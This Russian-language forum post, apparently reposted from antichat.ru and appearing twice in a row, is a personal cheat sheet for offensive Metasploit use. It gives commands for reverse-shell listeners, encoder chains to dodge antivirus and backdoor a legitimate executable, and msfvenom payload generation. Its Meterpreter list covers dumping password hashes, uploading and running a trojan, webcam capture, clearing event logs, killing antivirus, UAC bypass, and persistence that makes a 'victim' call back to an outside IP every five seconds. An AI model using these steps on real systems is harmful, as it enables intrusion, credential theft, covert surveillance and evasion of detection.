Моя Статья Форк с Ачата, но так как часто к ней обращаюсь, хочу сюда форкнуть antichat.ru
Всем привет. Пришлось позаморачиваться с метасплоитом и решил сделать несколько заметочек.
Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.
Что это почитать можно
В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.
Далее ссылочки из трёх книженций откуда впринципе и взята эта информация
Для кого статья?
В первую очередь для меня. =)
А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.
Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная
msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)
Традиционный способ
Тоже самое
Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.
Едем дальше
SETG - очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.
При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других
фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.
-> show encoders - Список активных енкодеров
В основном их названия говорят за себя
Можно комбинировать енкодеры командой +
где, c - количество итераций.
-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.
Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmap со всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;
-> show payloads - Вывод всех полезных нагрузок.
Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более
легковесное или под другую архитектуру.
Виды payloads.
Single - одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).
Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.
Stages - Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.
Генерация payload (полезно, когда надо использовать в своем коде)
Далее эту строку можно впиливать в любую программку или просто кидать в сокет.
Далее поговорим о метерпретере (хотя это всё это можно проделать и не только в нём);
Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?
hashdump - Старый добрый файл SAM
migrate - Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.
shell - Переход в командный режим
upload evil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра
execute -f evil_trojan.exe -i -H - а затем его выполнение
webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах
clearev - Очистить журнал
use sniffer - снииффер трафика.
sniffer_start 1 - запуск сниффера с активной сетевой карты
sniffer_dump - снять полученные пакеты
route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети
run checkvm - А вот как раз узнать находимся ли мы на виртуалке.
run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).
run killav - убийца антивирусов.
run getgui - Включает (а точнее пытается) включить rdp'шечку
run gettelnet - без комментариев
run get_local_subnets - получить имя подсети
run hostsedit -e 10.211.55.162,
run remotewinenum - Сборщик информации О СИСТЕМЕ
run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ
run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.
run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.
portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.
И это не всё. Список всех пост модулей можно глянуть командой show posts
Как же нам сгенерировать свою полезную нагрузку?
где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges.
Автоматическая подгрузка сценариев:
Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через
известный сплоит bypass_uac
Без лишних слов, просто как это сделать:
Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии.
Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.
Пример: set InitialAutoRunScript 'migrate -f'
Свои сценарии
Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.
Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его
с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности
метаплоита.
Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда
Выглядит скрипт руби так
И вызываем его в консоли метасплоита командой resource scanner.rc
Другой листинг
Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg.
База данных метасплоита
После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.
Рассмотрим основные действия в базе:
workspace - отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.
workspace lab1 - переключает текущее рабочее пространство на lab1;
workspace -a laba1 - создание рабочей области (сохраняет все результаты сканирования сохранены здесь)
db_nmap добавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)
hosts - Выводить информацию о хостах в различном виде;
services - Выводить информацию о сервисах в различном виде;
loot - сохранение дампа хэш-файла операционной системы
Всем спасибо! Недочеты и аргументированная критика есть гуд.
Всем привет. Пришлось позаморачиваться с метасплоитом и решил сделать несколько заметочек.
Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.
Что это почитать можно
Ссылка скрыта от гостей
и ещё огромная куча тем.В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.
Далее ссылочки из трёх книженций откуда впринципе и взята эта информация
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Для кого статья?
В первую очередь для меня. =)
А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.
Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная
Ссылка скрыта от гостей
Buffer over Flow (позже напишем и об этом что - нибудь).msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)
Традиционный способ
Код:
msfconsole или msfconsole '-x use exploit/multy/handler'
use exploit/multy/handler
SET LHOST наш хост
SET LPORT наш порт, который слушаем.
SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
exploit
Код:
- msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E
Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.
Едем дальше
SETG - очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.
Код:
msf> setg LHOST 192.168.1.0
msf> save
При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других
фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.
-> show encoders - Список активных енкодеров
В основном их названия говорят за себя
Код:
cmd/generic_sh
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
................................
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder
Можно комбинировать енкодеры командой +
Код:
msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3
-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.
Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmap со всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;
-> show payloads - Вывод всех полезных нагрузок.
Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более
легковесное или под другую архитектуру.
Виды payloads.
Single - одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).
Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.
Stages - Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.
Генерация payload (полезно, когда надо использовать в своем коде)
Код:
msf > use payload/windows/shell/bind_tcp
.............Устанавливаем параметры........................
msf payload(bind_tcp) > generate
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3"
Далее поговорим о метерпретере (хотя это всё это можно проделать и не только в нём);
Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?
hashdump - Старый добрый файл SAM
migrate - Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.
shell - Переход в командный режим
upload evil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра
execute -f evil_trojan.exe -i -H - а затем его выполнение
webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах
clearev - Очистить журнал
use sniffer - снииффер трафика.
sniffer_start 1 - запуск сниффера с активной сетевой карты
sniffer_dump - снять полученные пакеты
route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети
run checkvm - А вот как раз узнать находимся ли мы на виртуалке.
run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).
run killav - убийца антивирусов.
run getgui - Включает (а точнее пытается) включить rdp'шечку
run gettelnet - без комментариев
run get_local_subnets - получить имя подсети
run hostsedit -e 10.211.55.162,
Ссылка скрыта от гостей
, известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много. run remotewinenum - Сборщик информации О СИСТЕМЕ
run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ
run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.
run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.
portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.
И это не всё. Список всех пост модулей можно глянуть командой show posts
Как же нам сгенерировать свою полезную нагрузку?
Код:
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe
Автоматическая подгрузка сценариев:
Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через
известный сплоит bypass_uac
Без лишних слов, просто как это сделать:
Код:
use <name exploit>
set LHOST <inner_ip>
..................
set PAYLOAD <pyaload_meterpreter>
set AUTORUNSCRIPT exploit/windows/local/bypassuac
Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.
Пример: set InitialAutoRunScript 'migrate -f'
Свои сценарии
Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.
Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его
с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности
метаплоита.
Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда
Ссылка скрыта от гостей
)Выглядит скрипт руби так
Код:
#calling ruby
< ruby >
run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}")
run_single("services #{framework.datastore['RHOSTS']}")
run_single("vulns #{framework.datastore['RHOSTS']}")
< / ruby >
Другой листинг
Код:
#chaining common scanners
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_login
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
use auxiliary/scanner/nfs/nfsmount
run
use auxiliary/scanner/vnc/vnc_none_auth
run
База данных метасплоита
После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.
Рассмотрим основные действия в базе:
workspace - отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.
workspace lab1 - переключает текущее рабочее пространство на lab1;
workspace -a laba1 - создание рабочей области (сохраняет все результаты сканирования сохранены здесь)
db_nmap добавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)
hosts - Выводить информацию о хостах в различном виде;
services - Выводить информацию о сервисах в различном виде;
loot - сохранение дампа хэш-файла операционной системы
Всем спасибо! Недочеты и аргументированная критика есть гуд.